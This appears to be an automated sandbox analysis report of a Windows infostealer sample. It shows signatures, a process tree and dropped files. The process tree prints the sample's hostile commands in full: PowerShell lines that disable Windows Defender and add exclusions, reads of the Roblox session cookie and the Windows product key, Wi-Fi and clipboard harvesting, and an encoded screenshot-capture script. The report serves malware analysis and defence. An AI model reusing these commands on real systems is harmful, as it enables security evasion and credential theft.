Overview

overview

8

Static

static

3

cryptolaemus

windows10-2004-x64

8

cryptolaemus

windows11-21h2-x64

8

Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    16/06/2024, 09:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    d7fef2df3f4f1d7222ee156cb6f56410c9b17587f0614940b03ce062e8fcca65.exe
  • Size 8.8MB
  • Sample240616-lye18ayfqa
  • SHA256 d7fef2df3f4f1d7222ee156cb6f56410c9b17587f0614940b03ce062e8fcca65
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
executionspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d7fef2df3f4f1d7222ee156cb6f56410c9b17587f0614940b03ce062e8fcca65.exe
    "C:\Users\Admin\AppData\Local\Temp\d7fef2df3f4f1d7222ee156cb6f56410c9b17587f0614940b03ce062e8fcca65.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2756
    • C:\Users\Admin\AppData\Local\Temp\d7fef2df3f4f1d7222ee156cb6f56410c9b17587f0614940b03ce062e8fcca65.exe
      "C:\Users\Admin\AppData\Local\Temp\d7fef2df3f4f1d7222ee156cb6f56410c9b17587f0614940b03ce062e8fcca65.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d7fef2df3f4f1d7222ee156cb6f56410c9b17587f0614940b03ce062e8fcca65.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d7fef2df3f4f1d7222ee156cb6f56410c9b17587f0614940b03ce062e8fcca65.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2988
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3900
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1076
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1040
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:412
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2972
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1504
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4692
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3740
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3492
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4336
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:2860
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2964
          • C:\Windows\system32\netsh.exe
            netsh wlan show profile
            4⤵
              PID:2788
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1916
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:4616
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4740
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3712
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0pr4fi0c\0pr4fi0c.cmdline"
                5⤵
                  PID:1484
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4C0D.tmp" "c:\Users\Admin\AppData\Local\Temp\0pr4fi0c\CSC10EB2B227E6E42E9A416819DE501AE8.TMP"
                    6⤵
                      PID:748
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4772
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:3952
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4164
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:2380
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1144
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:2576
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5032
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:1800
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        3⤵
                          PID:2520
                          • C:\Windows\system32\tree.com
                            tree /A /F
                            4⤵
                              PID:4644
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                            3⤵
                              PID:2188
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1064
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                              3⤵
                                PID:2276
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  4⤵
                                    PID:4692
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                    4⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2020
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "getmac"
                                  3⤵
                                    PID:4936
                                    • C:\Windows\system32\getmac.exe
                                      getmac
                                      4⤵
                                        PID:1580
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                      3⤵
                                        PID:1328
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic os get Caption
                                          4⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2772
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                        3⤵
                                          PID:1152
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic computersystem get totalphysicalmemory
                                            4⤵
                                              PID:4524
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                            3⤵
                                              PID:2180
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic csproduct get uuid
                                                4⤵
                                                  PID:2244
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                3⤵
                                                  PID:3540
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                    4⤵
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:2964
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                  3⤵
                                                    PID:2296
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic path win32_VideoController get name
                                                      4⤵
                                                      • Detects videocard installed
                                                      PID:2596
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                    3⤵
                                                      PID:4072
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                        4⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:3124

                                                Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      powershell.exe.log
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                      • Size 2KB
                                                      • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 944B
                                                      • SHA256 36cbb00b016c9f97645fb628ef72b524dfbdf6e08d626e5c837bbbb9075dcb52
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 944B
                                                      • SHA256 96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 a1a94e6a8a1408e1a6cd5d4c32be74049d19365484d5438f4107e2ba8921630e
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 f9c316576e7b9f6b376149afc2a450626a6115469477697e9dbd65678c9b71c5
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 ba0bccd5b683d96eda6d4000424147e0dddaa1e6c87dd65566721f4552397133
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 64B
                                                      • SHA256 789e5eaacf5284c772fd75aab4c445eadff4816410167eea41a185ffe35b36fa
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      0pr4fi0c.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\0pr4fi0c\0pr4fi0c.dll
                                                      • Size 4KB
                                                      • SHA256 68f3da713a45c1d79a089f34130d1b59d03d1c03b919fafd73236574351ad966
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      RES4C0D.tmp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\RES4C0D.tmp
                                                      • Size 1KB
                                                      • SHA256 85c027cb63cb5b95f5f5700cf81efb2bb85b3bd162cef8ebf213104dfae98dab
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      VCRUNTIME140.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\VCRUNTIME140.dll
                                                      • Size 116KB
                                                      • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      _bz2.pyd
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI27562\_bz2.pyd
                                                      • Size 83KB
                                                      • SHA256 3ed0e5058d370fb14aa5469d81f96c5685559c054917c7280dd4125f21d25f62
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      _ctypes.pyd
